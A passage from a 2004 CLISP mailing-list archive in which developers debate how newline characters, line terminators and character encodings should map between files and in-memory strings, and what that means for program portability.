alphatech.com (8.12.10/8.12.10) with ESMTP id i2HKSX7C015566; Wed, 17 Mar 2004 15:28:33 -0500 (EST) To: Bruno Haible Cc: don-sourceforgexx@isis.cs3-inc.com (Don Cohen), clisp-list@lists.sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403172109.30911.bruno@clisp.org> (Bruno Haible's message of "Wed, 17 Mar 2004 21:09:30 +0100") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403171323.07936.bruno@clisp.org> <16472.36309.466307.283826@isis.cs3-inc.com> <200403172109.30911.bruno@clisp.org> Mail-Followup-To: Bruno Haible , don-sourceforgexx@isis.cs3-inc.com (Don Cohen), clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.734 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 12:31:03 2004 X-Original-Date: Wed, 17 Mar 2004 15:28:32 -0500 > * Bruno Haible [2004-03-17 21:09:30 +0100]: > > What you wanted in the last posting, was *different* in-memory > representations of #\Newline. Which leads to unportable programs. why? because (format nil "~%") will depend on the current value of some global encoding variable? -- Sam Steingold (http://www.podval.org/~sds) running w2k Winword 6.0 UNinstall: Not enough disk space to uninstall WinWord From don-sourceforgexx@isis.cs3-inc.com Wed Mar 17 13:01:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3iAk-00016e-4a for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 13:01:54 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3iAj-0008JK-Ix for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 13:01:53 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2HKuEQ19301; Wed, 17 Mar 2004 12:56:14 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16472.47982.828478.350546@isis.cs3-inc.com> To: Bruno Haible Cc: clisp-list@lists.sourceforge.net, Sam Steingold In-Reply-To: <200403172109.30911.bruno@clisp.org> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403171323.07936.bruno@clisp.org> <16472.36309.466307.283826@isis.cs3-inc.com> <200403172109.30911.bruno@clisp.org> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 13:02:14 2004 X-Original-Date: Wed, 17 Mar 2004 12:56:14 -0800 Bruno Haible writes: > Don Cohen wrote: > > it seems inevitable that if you try to map > > multiple file representations to the same memory representation then > > the reverse mapping will (and should) be one to many. The best you > > can do is provide some way to control both the input and output > > mappings. > > Yes. And in clisp this mapping is the ENCODING with its :LINE-TERMINATOR > accessor. It allows you to accomodate different external representations > for the same in-memory representation of #\Newline = (code-char 10). > > What you wanted in the last posting, was *different* in-memory > representations > of #\Newline. Which leads to unportable programs. This way, you would > write Lisp programs that are less portable between Unix and Windows than > the equivalent C programs! I don't know about the equivalent c programs. I also don't know which programs you view as more or less portable, but my view is that you should be able to write the program you want, and preferably in the most straight forward way. I suppose encodings default to different line terminator modes on different OS's. In that case, if you use the default then you get (what I consider to be) different behavior on different OS's, but I guess that's what you want. If you specify the mode then you get the same behavior on different OS's. I argue that if you want the same behavior on different OS's then you should not use #\newline but either #\return or #\linefeed. There are plenty of other things that differ from one platform to another, such as *features* - the differences are viewed by some people as making it easier to write portable programs, even though on a small scale they lead to different behavior on different platforms. > > Clearly my current solution is exactly what I want. > > I read 8 bit bytes and then call code-char, using an encoding that > > gives me 256 different characters for the 256 bytes. > > Such encodings are disappearing rapidly from the landscape. The use of Does this mean that the encoding I now use is likely to disappear? > code-char and char-code makes your program unable to support even the > standard repertoire of characters required for English (because of the > curly quotes...). I don't know what you you consider the standard repertoire. (What are the curly quotes?) And why does char-code not work on them? > > It just seems silly that this should be the best (maybe only) way > > to get the desired result. > > You missed the functions CONVERT-STRING-TO-BYTES and > CONVERT-BYTES-TO-STRING. (You mean STRING-FROM-BYTES) Yes I did miss those. But I don't think they do what I need. They might if they allowed the result to be put into an arbitrary position of an existing vector. Right now I do (vector-push-extend (code-char (aref *byte-io-vector* i)) ...) So these depend on encodings but code-char and char-code do not? I'd appreciate an explanation of that. It must be related to the curly quote question above. From bruno@clisp.org Wed Mar 17 13:33:52 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3ifg-0008Mo-9V for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 13:33:52 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3ifd-0000LM-FT for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 13:33:49 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2HLXXhL003407; Wed, 17 Mar 2004 22:33:33 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2HLXWWR023326; Wed, 17 Mar 2004 22:33:32 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id C27BA17889; Wed, 17 Mar 2004 21:28:15 +0000 (UTC) From: Bruno Haible To: sds@gnu.org User-Agent: KMail/1.5 Cc: don-sourceforgexx@isis.cs3-inc.com (Don Cohen), clisp-list@lists.sourceforge.net References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172109.30911.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403172228.14725.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 13:34:01 2004 X-Original-Date: Wed, 17 Mar 2004 22:28:14 +0100 Sam Steingold wrote: > > What you wanted in the last posting, was *different* in-memory > > representations of #\Newline. Which leads to unportable programs. > why? > because (format nil "~%") will depend on the current value of some > global encoding variable? Because 1) So many operations will give subtly different results, starting from (length string), (map 'list string), the hash code of a string and thus also the order of traversal of a hash table containing strings as keys, up to all kinds of string manipulation functions that work by scanning a string. 2) The developer tests his program in one mode and not in the other. That was Don Cohen's point about *print-pretty*: one more variable that can be switched on or off, means more testing. In short, in application programming (as opposed to low level system programming) system dependencies are best handled at the border between the program and the outside world, and the program logic is kept free of system dependencies. Bruno From bruno@clisp.org Wed Mar 17 13:48:35 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3itq-0003J8-SA for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 13:48:30 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3itp-000896-3x for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 13:48:29 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i2HLmJbM003858; Wed, 17 Mar 2004 22:48:19 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i2HLmIWR024311; Wed, 17 Mar 2004 22:48:18 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 47E403B386; Wed, 17 Mar 2004 21:43:02 +0000 (UTC) From: Bruno Haible To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net, Sam Steingold References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172109.30911.bruno@clisp.org> <16472.47982.828478.350546@isis.cs3-inc.com> In-Reply-To: <16472.47982.828478.350546@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200403172243.01260.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 13:49:05 2004 X-Original-Date: Wed, 17 Mar 2004 22:43:01 +0100 Don Cohen wrote: > I don't know what you you consider the standard repertoire. > (What are the curly quotes?) > And why does char-code not work on them? Oh, char-code works fine on them. It's only when you attempt to feed this char-code into a byte stream that expects values between 0 and 255 that you will get a nice error. > (write-string "=E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80=9D f= rom Manfred Mann") =E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80=9D from Manfred Mann "=E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80=9D from Manfred Mann" > (map 'list #'char-code *) (8220 8216 72 97 32 104 97 8217 32 115 97 105 100 32 116 104 101 32 99 108 = 111 119 110 8221 32 102 114 111 109 32 77 97 110 102 114 101 100 32 77 97 110 = 110) > They might if they allowed the result to be put into an arbitrary > position of an existing vector. SETF SUBSEQ will copy a vector into an existing one. > So these depend on encodings but code-char and char-code do not? Yes, CONVERT-STRING-TO/FROM-BYTES work with any character and any encoding. Whereas the assumption of the 1980ies, that each character is a byte, works only for half the encodings of the world and for less than 1/10th of the characters of the world. Bruno From sds@gnu.org Wed Mar 17 13:51:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3iwG-0003qs-1y for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 13:51:00 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3iwC-0004EV-DB for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 13:50:56 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2HLoJ7C008686; Wed, 17 Mar 2004 16:50:19 -0500 (EST) To: Bruno Haible Cc: don-sourceforgexx@isis.cs3-inc.com (Don Cohen), clisp-list@lists.sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403172228.14725.bruno@clisp.org> (Bruno Haible's message of "Wed, 17 Mar 2004 22:28:14 +0100") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172109.30911.bruno@clisp.org> <200403172228.14725.bruno@clisp.org> Mail-Followup-To: Bruno Haible , don-sourceforgexx@isis.cs3-inc.com (Don Cohen), clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.734 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 13:51:10 2004 X-Original-Date: Wed, 17 Mar 2004 16:50:18 -0500 > * Bruno Haible [2004-03-17 22:28:14 +0100]: > > Sam Steingold wrote: >> > What you wanted in the last posting, was *different* in-memory >> > representations of #\Newline. Which leads to unportable programs. >> why? >> because (format nil "~%") will depend on the current value of some >> global encoding variable? actually, no, the value of (format nil "~%") is just (string #\Newline) independent on any global state. > Because > > 1) So many operations will give subtly different results, starting > from (length string), (map 'list string), the hash code of a string > and thus also the order of traversal of a hash table containing > strings as keys, up to all kinds of string manipulation functions > that work by scanning a string. why? the only change is that (char-code #\Newline) is not 10 anymore. when you read from a file with the an encoding with a :LINE-TERMINATOR-STRICT-P NIL (the current behavior), you will have only #\Newline, no #\Linefeed or #\Return. When :LINE-TERMINATOR-STRICT-P is T, you will get #\Newline for the appropriate line terminator and the original control character otherwise. (length (format nil "foo~%bar")) is always 7. > 2) The developer tests his program in one mode and not in the other. > That was Don Cohen's point about *print-pretty*: one more variable > that can be switched on or off, means more testing. again, what is that mode? -- Sam Steingold (http://www.podval.org/~sds) running w2k MS DOS: Keyboard not found. Press F1 to continue. From sds@gnu.org Wed Mar 17 14:08:08 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3jCp-0007jH-QH for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 14:08:07 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3jCo-0007yw-Rd for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 14:08:06 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2HM7j7C013939; Wed, 17 Mar 2004 17:07:45 -0500 (EST) To: Bruno Haible Cc: don-sourceforgexx@isis.cs3-inc.com (Don Cohen), clisp-list@lists.sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403172243.01260.bruno@clisp.org> (Bruno Haible's message of "Wed, 17 Mar 2004 22:43:01 +0100") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172109.30911.bruno@clisp.org> <16472.47982.828478.350546@isis.cs3-inc.com> <200403172243.01260.bruno@clisp.org> Mail-Followup-To: Bruno Haible , don-sourceforgexx@isis.cs3-inc.com (Don Cohen), clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.001 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 14:09:05 2004 X-Original-Date: Wed, 17 Mar 2004 17:07:45 -0500 > * Bruno Haible [2004-03-17 22:43:01 +0100]: > >> They might if they allowed the result to be put into an arbitrary >> position of an existing vector. > > SETF SUBSEQ will copy a vector into an existing one. I think he wants to re-use the vector (a la READ-SEQUENCE). CONVERT-STRING-TO-BYTES will always allocate a fresh vector. Maybe an :OUTPUT + :START-OUTPUT combination is needed: (EXT:CONVERT-STRING-FROM-BYTES byte-vector encoding :START 10 :END 33 :OUTPUT string :START-OUTPUT 17) will write characters into STRING starting at position 17. (and using ADJUST-ARRAY if STRING is shorter than 40) > Whereas the assumption of the 1980ies, that each character is a byte, > works only for half the encodings of the world and for less than > 1/10th of the characters of the world. still, each character is an integer, right? (even 21 bit integer!) -- Sam Steingold (http://www.podval.org/~sds) running w2k Time would have been the best Teacher, if it did not kill all its students. From don-sourceforgexx@isis.cs3-inc.com Wed Mar 17 15:23:34 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3kNq-0000Dq-2z for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 15:23:34 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B3kNo-0004uo-4L for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 15:23:32 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2HNHsN20174; Wed, 17 Mar 2004 15:17:54 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: <16472.56482.162152.281684@isis.cs3-inc.com> To: Bruno Haible , sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: <200403172228.14725.bruno@clisp.org> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172109.30911.bruno@clisp.org> <16472.47982.828478.350546@isis.cs3-inc.com> <200403172243.01260.bruno@clisp.org> <200403172228.14725.bruno@clisp.org> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *print-pretty*, read-char Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 15:24:04 2004 X-Original-Date: Wed, 17 Mar 2004 15:17:54 -0800 Bruno Haible writes: > 1) So many operations will give subtly different results, starting= > from (length string), (map 'list string), the hash code of a st= ring > and thus also the order of traversal of a hash table containing= > strings as keys, up to all kinds of string manipulation functio= ns > that work by scanning a string. If I use the encoding that generates separate #\cr and #\lf and maps one-to-one between bytes 0-255 and characters then=20 I get the same result on any system. (Assuming I don't write #\newline, but stick to #\cr and #\lf.) It is when I use the current default which changes from one system to another that I get different results for different systems. I should use #\newline and the current encoding stuff when I want different output on different systems. > Oh, char-code works fine on them. It's only when you attempt to feed= > this char-code into a byte stream that expects values between 0 and = 255 > that you will get a nice error. >=20 > > (write-string "=E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80= =9D from Manfred Mann") > =E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80=9D from Manfre= d Mann > "=E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2=80=9D from Manfr= ed Mann" > > (map 'list #'char-code *) > (8220 8216 72 97 32 104 97 8217 32 115 97 105 100 32 116 104 101 32 = 99 108 111 > 119 110 8221 32 102 114 111 109 32 77 97 110 102 114 101 100 32 77 = 97 110 110) Interesting, when I copy your string I get (map 'list 'char-code "=E2=80=9C=E2=80=98Ha ha=E2=80=99 said the clown=E2= =80=9D from Manfred Mann") (226 128 156 226 128 152 72 97 32 104 97 226 128 153 32 115 97 105 100 = 32 116 104 101 32 99 108 111 119 110 226 128 157 32 102 114 111 109 32 77 97 = 110 102 114 101 100 32 77 97 110 110) > SETF SUBSEQ will copy a vector into an existing one. Can I get that to also do vector-push-extend ? > Whereas the assumption of the 1980ies, that each character is a byte= , > works only for half the encodings of the world and for less than 1/1= 0th > of the characters of the world. All I need is one encoding that covers bytes 0-255 and allows me to read each byte as one character. I don't care whether the one I use represents 100% or 1e-9% of the total. > > SETF SUBSEQ will copy a vector into an existing one. > I think he wants to re-use the vector (a la READ-SEQUENCE). > CONVERT-STRING-TO-BYTES will always allocate a fresh vector. > Maybe an :OUTPUT + :START-OUTPUT combination is needed: > (EXT:CONVERT-STRING-FROM-BYTES byte-vector encoding > :START 10 :END 33 > :OUTPUT string :START-OUTPUT 17) >=20 > will write characters into STRING starting at position 17. > (and using ADJUST-ARRAY if STRING is shorter than 40) Ah, with the adjust yet!! How code-char/char-code get away without an encoding: I gather the point is that the encoding relates bytes on a file to=20 characters, and code-char/char-code relates characters to integers,=20 which evidently do NOT have to be the same integers that you would=20 get if you read or wrote those bytes to/from a file! I assume that (=3D x (char-code (code-char x))) for x in the appropriat= e range. I've also been assuming that the ascii characters correspond to the "right" codes. That's probably all that matters to me so far. From pascal@informatimago.com Wed Mar 17 16:52:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3llj-0007pj-M3 for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 16:52:19 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3llh-0005p3-GV for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 16:52:17 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 408AA586E2; Thu, 18 Mar 2004 01:52:09 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6DABB38829; Thu, 18 Mar 2004 01:53:52 +0100 (CET) Message-ID: <16472.62240.358258.176263@thalassa.informatimago.com> To: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Cc: Bruno Haible , sds@gnu.org, clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: *print-pretty*, read-char In-Reply-To: <16472.56482.162152.281684@isis.cs3-inc.com> References: <9F8582E37B2EE5498E76392AEDDCD3FE0A57F8BA@G8PQD.blf01.telekom.de> <200403172109.30911.bruno@clisp.org> <16472.47982.828478.350546@isis.cs3-inc.com> <200403172243.01260.bruno@clisp.org> <200403172228.14725.bruno@clisp.org> <16472.56482.162152.281684@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 17 16:53:01 2004 X-Original-Date: Thu, 18 Mar 2004 01:53:52 +0100 Don Cohen writes: > If I use the encoding that generates separate #\cr and #\lf > and maps one-to-one between bytes 0-255 and characters then=20 > I get the same result on any system. (Assuming I don't write > #\newline, but stick to #\cr and #\lf.) > It is when I use the current default which changes from one system > to another that I get different results for different systems. > > I should use #\newline and the current encoding stuff when I want > different output on different systems. Imagine you copy your lisp program to three different systems: a Macintosh system, a MS-Windows system and a unix system, and that with you same lisp program on these three systems, you try to read a TEXT file named example.txt transfered thru FTP as a text file between the three systems. In clear, on the Macintosh you'll have in the file: "texttext[CR]texttext[CR]" on the unix system you'll have "texttext[LF]texttext[LF]" and on MS-Windows you'll have "texttext[CR][LF]texttext[CR][LF]". Then with your scheme your three identical copies of your program wont read the same data of the same text file. > How code-char/char-code get away without an encoding: > I gather the point is that the encoding relates bytes on a file to=20 > characters, and code-char/char-code relates characters to integers,=20 > which evidently do NOT have to be the same integers that you would=20 > get if you read or wrote those bytes to/from a file! > I assume that (=3D x (char-code (code-char x))) for x in the appropriat= > e > range. I've also been assuming that the ascii characters correspond > to the "right" codes. That's probably all that matters to me so far. You're assuming too much. The "ASCII" characters have not the "right" codes on an EBCDIC system. And EBCDIC systems are far from dead, they even do web CGI on CICS... -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From don-sourceforgexx@isis.cs3-inc.com Wed Mar 17 17:35:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B3mRo-0007K6-P7 for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 17:35:48 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B3mRn-0007rR-Fs for clisp-list@lists.sourceforge.net; Wed, 17 Mar 2004 17:35:47 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i2I1U2520999; Wed, 17 Mar 2004 17:30:02 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16472.64410.352944.818514@isis.cs3-inc.com> To: Cc: Bruno Haible , sds@gnu.org, clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: 